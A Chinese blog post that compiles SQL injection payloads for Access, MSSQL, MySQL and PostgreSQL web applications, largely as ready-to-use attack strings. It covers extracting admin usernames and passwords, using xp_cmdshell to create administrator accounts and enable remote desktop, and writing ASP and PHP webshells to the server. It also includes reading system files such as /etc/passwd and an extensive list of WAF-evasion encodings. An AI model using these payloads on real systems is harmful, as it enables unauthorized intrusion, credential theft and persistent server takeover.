各类SQL注入大整理(持续更新) | LSABLOG

首页 » NetworkSec » Penetration » 正文

各类SQL注入大整理(持续更新)

各类SQL injection 整理

—LSA

ASP+access: 

ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects(逐字猜解/联合查询)

1.判断:

用’            ;

用 and 1=1    and 1=2

判断数据库:

http://xxx/2j.asp?id=24 and (select count(*) from sysobjects)>0

http://xxx/2j.asp?id=24 and (select count(*) from msysobjects)>0

若数据库是SQL-SERVE,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常

2、猜表名

[1]and 0<>(select count(*) from admin) —判断是否存在admin这张表,返回正确存在

————

[2]and exists (select * from 表名)

———–

[3]

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin,爆出显位  //联合查询

3.猜帐号数目/字段数目

and 0<(select count(*) from admin)   //0、1、2、3…….

order by

4.猜解字段名称

and 1=(select count(*) from admin where len(name)>0) 用户字段名称

and 1=(select count(*) from admin where len(password)>0) 密码字段名称

———–

[2]

and exists (select 字段 from 表名)

———–

[3]

http://xxx/2j.asp?id=24 and (select count(password) from article_admin)>0

5.猜解各个字段的长度

猜解长度就是把

and 1=(select count(*) from admin where len(*)>0)   //>1/2/3/4

————-

[2]

and (select top 1 len(列名)from 表名)>1   //大于6正确,大于7错误,就是7

因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用:

select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)

6.猜解字符

and 1=(select count(*) from admin where left(name,1)=’a’)  —猜解用户

and 1=(select count(*) from admin where left(password,1)=’a’)—猜密码   // 1的位置就是你要猜解的字符的位置.

and 1=(select count(*) from admin where left(name,2)=’ab’)—猜解用户帐号的第二位

———–

[2]

and (select asc(mid(列名,1,1)) from 表名)=ascii的值

———-

[3]

http://xxx/2j.asp?id=24 and (select top 1 asc(mid(username,1,1)) from article_admin)=97

返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a

———-

[4]union select1,2,username,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin  //联合查询

(access偏移注入:

*所表示的字段的顺序被打乱,通过使用inner join查询,从而有可能爆出用户和密码的字段数据。

为了让语句正确,用*来加长字段数:

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin(页面报错)

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin(页面正确)

此时就发现了admin表下有四个字段(20-16=4)

.inner join 连接查询:

ps:inner join查询是将一张表虚拟成多张相同的表来进行查询(我自己是这么理解的。)

首先用两张表来进行查询,应该减去重复的部分也就是这四个字段,不能让这四个字段算两次,这样的话20-4-4=12,语句中只需要罗列出12个数字。

继续,

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on a.id = b.id)

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)

上面的这两种情况还是报错,那么我们继续再来添加一张表,再减去重复的四个字段,20-4-4-4=8,语句中只需要罗列出8个数字。

再次使用inner join查询:

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

页面返回正确,成功得到md5密码。

)

=================================================

ASP+SQLserver:  

对于MSSQL的注入点,无外乎这三种权限:SA,DB_OENER,PUBLIC

SA(System Admin)权限我们可以直接执行命令,DB_OENER权限的话,我们可以找到WEB的路径,然后用备份的方式得到webshell,有时也可以对注册表进行操作。PUBLIC权限的话,又要面对表和列了

1、判断注入点

传入参数为数字型时:

and 1=1

and 1=2

传入参数不为数字型时,需要变动一下

比如:

asp?id=aeo’ and ‘1’=’1

asp?id=aeo’ and ‘1’=’2

其实只要两次返回页面不同,基本上都是可以注入的

检测是否为SA权限

and 1=(select IS_SRVROLEMEMBER(‘sysadmin’))

检测是否为DB权限

and 1=(Select IS_MEMBER(‘db_owner’))

and 1= (Select HAS_DBACCESS(‘master’))   //判断是否有库读取权限

;declare @d int   //是否支持多行

xp_cmdshell”这个存储过程,先要判断这个过程是否存在,提交:

http://www.****.org/newshowlistgo_new.asp?id=5′ and 1=(select count(*) from master.dbo.sysobjects where xtype =’x’ and name = ‘xp_cmdshell’)–

http://www.****.org/newshowlistgo_new.asp?id=5′;exec master.dbo.addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’;select count(*) from master.dbo.sysobjects

where xtype=’x’ and name=’xp_cmdshell’–

返回结果正常就是恢复成功。否则需上传xplog70.dll后执行:

‘:exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’c:inetputwebxplog70.dll’;–

2、判断数据库类型

[1]And user>0   //asp+access也能用!

user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,abc正是变量user的值

————

[2]Sysobjects是SQL的内置系统表,在WEB下可以正常读取,msysobjects是Access的内置系统表,在WEB下无权读取。

那么就可以输入

and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

这两句随便输入一句即可判断。   //同asp+access

———–

[3]

在注入点后加上:

;–

一个分号两个横线,如果页面返回正常的话,说明数据库是MSSQL,因为在MSSQL数据库里,;和–都是存在的,”;” 用来分离两个语句,而”–“就是注释符,在它后面的语句都不执行,而ACCESS数据库里没有。

and 1=(select name from master.dbo.sysdatabases where dbid=1)   //暴库名DBID为1,2,3……

;declare @d int //是否支持多行

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ‘X’ AND name = ‘xp_cmdshell’) //判断XP_CMDSHELL是否存在

and 1=(select count(*) FROM master.dbo.sysobjects where name= ‘xp_regread’) //查看XP_regread扩展存储过程是不是已经被删除

3、猜表名

同asp+access

————–

[2]猜第一个表名:and (select top 1 name from sysobjects where xtype=’u’ and status>0 )>0

猜其他表名:and (select top 1 name from sysobjects where xtype=’u’ and status>0 and name not in(‘admin’))>0

————–

[3]第一张表 union select  top 1 name from 库名.dbo.sysobjects where xtype=’U’

第二张表 union select  top 1 name from 库名.dbo.sysobjects where xtype=’U’ and name not in(‘第一张表’)

4、猜字段

同asp+access

————-

[2]and (Select Top 1 col_name(object_id(‘admin’),1) from sysobjects)>0

5、猜内容

同asp+access

—————

exec master.dbo.xp_dirtree ‘c:\’;  遍历目录

exec master.dbo.xp_availablemedia;– 获得当前所有驱动器

exec master.dbo.xp_subdirs ‘c:\’;– 获得子目录列表

exec master.dbo.xp_dirtree ‘c:\’;– 获得所有子目录的目录树结构

exec master.dbo.xp_cmdshell ‘type c:\web\web.config’;– 查看文件的内容

6、其他

添加和删除一个SA权限的用户test:(需要SA权限)

exec master.dbo.sp_addlogin test,password

exec master.dbo.sp_addsrvrolemember test,sysadmin

 

停掉或激活某个服务。 (需要SA权限)

exec master..xp_servicecontrol ‘stop’,’schedule’

exec master..xp_servicecontrol ‘start’,’schedule’

 

暴网站目录

create table labeng(lala nvarchar(255), id int)

DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’,@result output insert into labeng(lala) values(@result);

and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)

 

DOS下开3389 并修改端口号

sc config termservice start= auto

net start termservice

 

//允许外连

reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0x0 /f

 

//该3389端口到80

reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD /d 80 /f

 

sqlserver 存储扩展应用

建立系统用户: net user username pass /add

系统提权 net localgroup administrators username /add

打开3389 reg add “hklm\System\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t reg_dword /d “0” /f

建立数据库用户: ;exec master..sp_addlogin user,pass;–

数据库提权: ;exec master..sp_addsrvrolemember aa,sysadmin;–

 

xp_cmdshell应用

建立系统用户 ;exec master..xp_cmdshell “net user bb bb /add”–

防止xp_cmdshell: ;exec master..sp_dropextendedproc ‘xp_cmdshell’

恢复xp_cmdshell ;exec master..sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’

彻底防溢出 c:\windows\system32\cmd.exe 删除所有默认权限. 添加administrator–完全控制

 

更改sa密码

exec sp_password NULL,’新密码’,’sa’

添加SA权限用户

exec sp_addlogin ‘username’,’pass’,’master’;

exec sp_addsrvrolemember ‘username’, sysadmin

 

停掉或激活某个服务。

exec master..xp_servicecontrol ‘stop’,’schedule’

exec master..xp_servicecontrol ‘start’,’schedule’

 

1:错误回显法

查询当前用户数据信息:

article.asp?id=6 having 1=1–

?id=5′ and 1=convert(int,@@version)–

获得列

?id=5’group by hyhdong.hyid having 1=1–

继续提交:

http://www.****.org/newshowlistgo_new.asp?id=5’group by hyhdong.hyid,hyhdong.hytitle having 1=1–

就可以得到下一个列名

第一个表

id=5’and 1=convert(int,(select top 1 table_name from information_schema.tables))–

第二个表

id=5’and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name

not in(‘stycss’)))–

第一个列

id=5’and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’admin’))–

第二个列

id=5’and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’admin’

where column_name not in(‘id’))–

账号密码

?id=5’and 1=convert(int,(select top 1 admin from admin))–

?id=5’and 1=convert(int,(select top 1 password from admin))–

 

2:默认系统表法sysdatabases

包含“master”,“msdb”,“mssqlweb”,“empdb”,“model”这五个表,对应的bdid的值为1到5,用户新建的数据库从bdid=6开始,我们可以通过修改bdid的值来暴出库名

?id=5’and 1=(select name from master.dbo.sysdatabases where dbid=6)–

爆表

第一个

id=5’and 1=(select top 1 name from chinagreenwood.dbo.sysobjects where xtype=’U’)–

第二个

?id=5’and 1=(select top 1 name from chinagreenwood.dbo.sysobjects where xtype=’U’ and name not in(‘stycss’))–

爆列

取表id

?id=5’and 1=(select count(*) from chinagreenwood.dbo.sysobjects where xtype=’U’ and name=’admin’

and uid>(str(id)))–

第一个列

id=5’and 1=(select top 1 name from chinagreenwood.dbo.syscolumns where id=1977058079)–

第二个列

id=5’and 1=(select top 1 name from chinagreenwood.dbo.syscolumns where id=1977058079 and name not

in(‘admin’))–

爆内容

?id=5’and 1=(select admin from chinagreenwood.dbo.admin where admin>1)–

第一个admin是列名,第二个是表名,第三个也是列名

id=5’and 1=(select admin from chinagreenwood.dbo.admin where admin=’admin’ and password>1)–   //爆密码

 

sql导出shell

sql语句

create table cmds (a varchar(50))

insert into cmds (a) values (‘<%execute request(chr(49))%>’)

select * into [a] in ‘d:\freehost\fnnxtf\web\fan.asa;.xls’ ‘excel 4.0;’ from cmds;

=================================================

PHP+MySql:

mysql5.0以上可以用information_schema比较方便,否则还是只能像asp一样慢慢猜了……

1、判断注入点

同asp

2、order by判断字段数

3、用爆出的字段数进行联合查询 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14暴出可显示字段

4、暴出数据库用户、版本、库名和路径信息

and 1=2 union select 1,2,3,4,5,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),7,8,9,10,11,12,13,14

5、读取windows系统文件boot.ini

http://xxx/xxx.php?id=2900 and 1=2 union select 1,2,3,4,5,load_file(0x633a5c626f6f742e696e69),7,8,9,10,11,12,13,14

6、暴出当前库中的所有表名

and 1=2 union select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()

—————

[2]一个一个的爆,依次修改“limit”后“,”前面的值,可爆出所有表,知道出现错误页面为止

http://xxx.cn/teacher_show.php?id=19 and 1=2 union select 1,2,3,4,5,6,7,8,TABLE_NAME,10,11,12,13,14,15,16,17,18,19 from information_schema.TABLES where TABLE_SCHEMA =0x6C6975726979783031 limit 21,1/*

7、爆表中所有字段名

and 1=2 union select 1,2,3,4,5,group_concat(column_name),7,8,9,10,11,12,13,14 from information_schema.columns where table_name=0x6163636f756e74

——————

[2]依次爆。。。

http://xxx.cn/teacher_show.php?id=19 and 1=2 union select 1,2,3,4,5,6,7,8,column_name,10,11,12,13,14,15,16,17,18,19 from+(select+*+from+information_schema.columns+where+table_name=0x7379735F61646D696E+and+table_schema=0x6C697572697978+order+by+1+limit+1,1)t+limit+1–

8、直接爆内容

and 1=2 union select 1,2,3,4,5,group_concat(username,0x5e,password),7,8,9,10,11,12,13,14 from account

********************************************************************

搜索型注入:

1、判断:

[1]先搜索’,如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。

然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%’and 1=1 and ‘%’=’和2006%’and 1=2 and ‘%’=’,存在异同的话,就是100%有洞了。

[2]

a%’ and 1=1– 正常

a%’ and

1=2– 错误

有注入

[3]

1%’ and 1=1 and ‘%’ =’

1%’ and 1=2 and ‘%’ =’

2、注入,语句直接查算了,差不多一样

比如我们搜索了关键字1 然后 在url便会出现 一个连接

比如是:

http://xxxx/search.asp? key=1&otype=title&Submit=Search

那么我们应该改一下url的形式,把搜索的关键字放到后面,改了之后就是:

http://xxxx/search.asp?otype=title&Submit=Search&key=1

就是这个了。当然还需要一个关键字,比如说我们搜索1查到的内容里面有个是产品,而产品名比如是 索尼  然后我们就可用这个作为关键字来进行工具的注入。

*******************************************************************

cookie(中转)注入:

是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式

cookie注入的形成有两个必须条件,条件1是程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。在条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取。

javascript:alert(document.cookie=”id=”+escape(“284”));

在另外一个窗口中我们打开以下地址:http://www.2cto.com /Products_show.asp?将“id=284”去掉后的,然后看是否能正常访问

访问之后的页面与访问http://www.2cto.com /Products_show.asp?id=284的时候是一样的,这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request(“xx”)的方式。

javascript:alert(document.cookie=”id=”+escape(“284 and 1=1”));

javascript:alert(document.cookie=”id=”+escape(“284 and 1=2”));

和普通注入一样了,可以用工具(注入中转生成器)

*****************************************************************

盲注可分为三类。

Booleanbase:

如果注入点在order by后面,那么则可以使用判断语句来构造报错。(其实order by后面的注入也可以根据返回结果的顺序来判断,这里自由发挥就好:P)

mysql> select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;

Timebase:

sleep banchmark 基本是使用如下。

mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1;

Empty set (27.00 sec)

mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1;

Errorbase:

注入点在limit后并且有order by,pyload:

mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

比如在mysql中我们可以使用如下的经典语句进行报错。

select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

这是网上流传很广的一个版本,可以简化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

其实这是mysql的一个bug所引起的,其他数据库都不会因为这个问题而报错。

另外,在mysql5.1版本新加入两个xml函数,也可以用来报错。

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));

ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’

mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));

ERROR 1105 (HY000): XPATH syntax error: ‘^$admin888^$’

而在其他数据库中也可以使用不同的方法构成报错

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)–

MSSQL: /?param=1 and(1)=convert(int,@@version)–

Sybase: /?param=1 and(1)=convert(int,@@version)–

Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select

replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)–

******************************************************************

过waf

a) 大小写混合 ?page_id=-15 uNIoN sELecT 1,2,3,4

b)替换关键字 如果只匹配一次就很容易绕过 ?page_id=-15 UNIunionON SELselectECT 1,2,3,4

c)使用编码

 

url编码:存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:page.php?id=1%252f%252a*/UNION%252f%252a /SELE           id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users–+

一些双重编码举例:

单引号:’

%u0027

%u02b9

%u02bc

%u02c8

%u2032

%uff07

%c0%27

%c0%a7

%e0%80%a7

空白:

%u0020

%uff00

%c0%20

%c0%a0

%e0%80%a0

左括号(:

%u0028

%uff08

%c0%28

%c0%a8

%e0%80%a8

右括号):

%u0029

%uff09

%c0%29

%c0%a9

%e0%80%a9

 

十六进制编码

 

Unicode编码 ?id=10%D6‘%20AND%201=2%23          SELECT ‘Ä’=’A’; #1

 

其他编码

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

 

d)使用注释 //, — , /**/, #, –+, — -, ;%00

普通:在构造得查询语句中插入注释,规避对空格的依赖或关键字识别

用/**/分割敏感词,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser

内联:它有一个特性/*!*/只有MySQL能识别

 

e)等价函数与命令

 

函数

hex()、bin() ==> ascii()

 

sleep() ==>benchmark()

 

concat_ws()==>group_concat()

 

mid()、substr() ==> substring()

 

@@user ==> user()

 

@@datadir ==> datadir()

 

符号

and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了

在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/

 

f)特殊符号

 

乌云drops上“waf的绕过技巧”一文使用的几个例子:

 

1.使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

 

2.神奇的”-+.”,select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤

 

3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量

 

4.Mysql function() as xxx  也可不用as和空格   select-count(id)test from users;  //绕过空格限制

 

g)HTTP参数控制

HPP、HPF、HPC

 

h)缓冲区溢出:不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

 

i)整合绕过 : 综合运用!威力加倍!

 

运用字符串判断代替

 

用经典的or 1=1判断绕过,如or ‘swords’ =’swords’

 

通过类型转换修饰符N绕过

 

可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ‘swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

 

通过+号拆解字符串绕过

 

通过LIKE绕过

 

以前怎么就没想到呢?如or ‘swords’ LIKE ‘sw’!!!显然可以很轻松的绕过“=”“>”的限制

 

一些常见的bypass:

id=1+(UnIoN)+(SelECT)+

id=1+(UnIoN+SeLeCT)+

id=1+(UnI)(oN)+(SeL)(EcT)

id=1+’UnI”On’+’SeL”ECT’ <-MySQL only

id=1+’UnI’||’on’+SeLeCT’ <-MSSQL only

 

过狗

 

1.修改user-agent

 

2.%00,%0a

 

3.某些情况下SQL关键词被过滤掉并且被替换成空格。因此我们用“%0b”来绕过。

 

4.碎片注入法(分段SQL注入)”,或者是我们常说的”Split And Balance原则

处理被阻止的字符串

比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。

我们可以这样

A,oracle数据库: ‘adm’||’in’

B,MSSQL数据库: ‘adm’+’in’

C,MYSQL数据库: concat (‘adm’,’in’)

D,oracle中如果单引号被阻止了,还可以用chr函数

sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)

通过+号拆解字符串绕过

效果值得考证,但毕竟是一种方法。如 or ‘swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ‘+’ …..’ )

空格+and:可以直接不要空格

被遗忘的复参攻击

http://www.xxx.com/index.php?id=1&id=2

http://www.xxx.com/index.php?id=1/**/union/*&id=*/select/*&id=*/1,2,3,4–/*

http://www.uml.org.cn/safe/201308204.asp

http://www.programgo.com/article/57244977229/

********************************************

网站伪静态:

网页伪静态其实就是指:动态网页通过重写URL的方法实现去掉动态网页的参数,但在实际的网页目录中并没有必要实现存在重写的页面。

优:seo,容易被收录

缺:使用伪静态将占用一定量的CPU占有率,大量使用将导致CPU超负荷,可能将导致硬盘损坏并将影响网站性能

打开你想判断的网站后,再在网址框中输入javascript:alert(document.lastModified)。此方法可以判断一个网页的最后更新时间。如果这个时间与现在的时间相同,说明是伪静态的,反之为真静态的。

火狐Firefox浏览器

先用火狐打开一个网页,等网页完全打开后进入FireFox的控制台,”工具”-“错误控制台”-快捷键:Shift+Ctrl+J,然后在控制台里面输入入:alert(document.lastModified),查看最后修改时间并记录。

接下来关闭控制台,重新刷新网页,再用相同的方法在控制台里输入查询代码,再查看文件的最后修改时间,连续几次如果发现时间不同则可以判断它是伪静态的了

1、注入点检测可以用:http://www.XXX.com/play/Diablo’and 1=’1.html与http://www.XXX.com/play/Diablo’and 1=’2.html来判断

通常情况下,动态脚本的网站的url类似下面这样:

http://www.91ri.org/news.php?id=111

做了伪静态之后就成这样了

http://www.91ri.org/news.php/id/111.html

以斜杠“/”代替了“=”并在最后加上.html,这样一来,就无法直接用工具来注入了,

2.使用工具SQLMAP进行注入检测:

对网址进行构造,加一些特殊字符,如:*、#等等

******************************************************

有防注入系统的话(提示你的ip被记录),其实就是记录到数据库中了,那么可以直接写一句话让它也记录到数据库中就拿shell了

and 1= 一句话

可能的页面conn.asp,config.asp,inc.asp等

*****************************************************

字符型注入:

‘闭合再’注释后面所有东西

如:’ and 1=1′

********************************************

PostgreSQL注入:

1.同其他数据库一致,SQL语句基本一致

2.支持/*、/**/、–注释,;和\g表示语句结束

3.使用||可以连接字符串(类似于mssql中的+),同时需要注意特殊字符被转义

4.无法自动匹配字段

5.web管理程序为phpPgAdmin

6.开放的默认端口为5432

———

1.内置函数

通过一些内置函数我们可以获取到很多关于数据库的信息,简单列举下比较有价值的函数:

current_database() //当前数据库名

session_user   //会话用户

current_user   //当前数据库用户

cast(sourcetype AS targettype)   定义类型转换

current_setting()     以查询形式获取setting_name 设置的当前值

convert()             编码转换

pg_stat_user_tables   存放系统所有表名的视图,关键字段是relname,使用select relname from pg_stat_user_tables limit offset,1 来达到逐个读取表名的目的

pg_stat_all_tables    和pg_stat_all_tables视图功能一样

pg_shadow             看到shadow大家是否想到/etc/shadow,此表包含数据库用户的信息,关键字段username、passwd和usesuper(超级用户的意思),不过此表被做了权限设置

pg_user               这个表结构和pg_shadow一样,不过此表的全局可读,passwd字段可能被清空或者加密

pg_group              定义组以及哪些用户属于哪个组的信息,关键字段groname

information_schema.columns 这个目录对象中保存了所有的字段,关键字段是column_name,使用select column_name from   information_columns where table_name=tablename limit offset,1这样就可以达到读取每个表名的字段

数据库可以通过pg_stat_user_tables来依次读取,另外information_schema.columns也给我们一样提供了方便,让我们可以读取数据库表和字段,其次还有pg_user、pg_group、pg_shadow都能返回给我们很多有用的信息,记得oid也能让我们获取到这些信息。

读取内容的时候我们也同样可以根据ID来依次数据。我曾经遇见过一个PostgreSQL+php网站,由于magic_quotes_gpc=on的问题,又找不到id类的标识可以让我去读取表中其他内容,这个时候除此之外通过limit n offse n读取到了表中所有内容,其实它真的很不错

create table file(shell text not null);   //创建表和字段

insert into file values(‘<?php eval($_POST[cmd]);?>’);   //写入代码到数据库

copy file(shell) to ‘/var/www/html/shell.php’;   //导出文件

通过上面三个语句我们就可以轻松的获取到一句话,执行这些我想不是一问题,通过;或构造其他语句都可以实现,最后记得删除执行drop table file来删除痕迹。一篇文中曾提到过更简单的方法

copy (select ‘<?php eval($_POST[cmd]);?>’) to ‘/var/www/html/shell.php’

create table file(file text not null);   //创建表和字段

copy file (file) from ‘/etc/passwd’;   //复制文件内容到字段中

select * from file; //查询

也可以通过这个来读取网站配置文件来获取数据库呢,真的很方便。另外PostgreSQL新版本中也提供了很多的函数,如:pg_read_file(‘/etc/passwd’,1,20)可以直接读取文件内容,类似于此函数还有:pg_file_write(filename,text,bool)、pg_read_file(filename,pos,length)、pg_ls_dir(dirname)等,不过这些函数常被管理员因为安全考虑而删除,这就看运气了。

在语句中,允许我们通过$和$之间来绕过引号的转义或者过滤问题,可以改写成这样:select pass from member where name=$admin$,如此就成功的绕过了引号问题。

 

宽字节注入:

%df吃掉\,使’逃逸出转义。

怎么逃过addslashes的限制

1.想办法给\前面再加一个\(或单数个即可),变成\\’,这样\被转义了,’逃出了限制

2.想办法把\弄没有。

我们这里的宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。

除了gbk以外,所有ANSI编码都是2个字节。ansi只是一个标准,在不用的电脑上它代表的编码可能不相同,比如简体中文系统中ANSI就代表是GBK。

通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。

GBK编码,它的编码范围是0x8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。

GB2312是被GBK兼容的,它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c。

其它的宽字符集也是一样的分析过程,要吃掉%5c,只需要低位中包含正常的0x5c就行了。

==============================================================================

以上内容由LSA参考网上资料整理而得,还不是很完美,感觉SQL注入很广很庞大,语句多种多样,情形多种多样,姿势也多种多样,要灵活处理。

Comment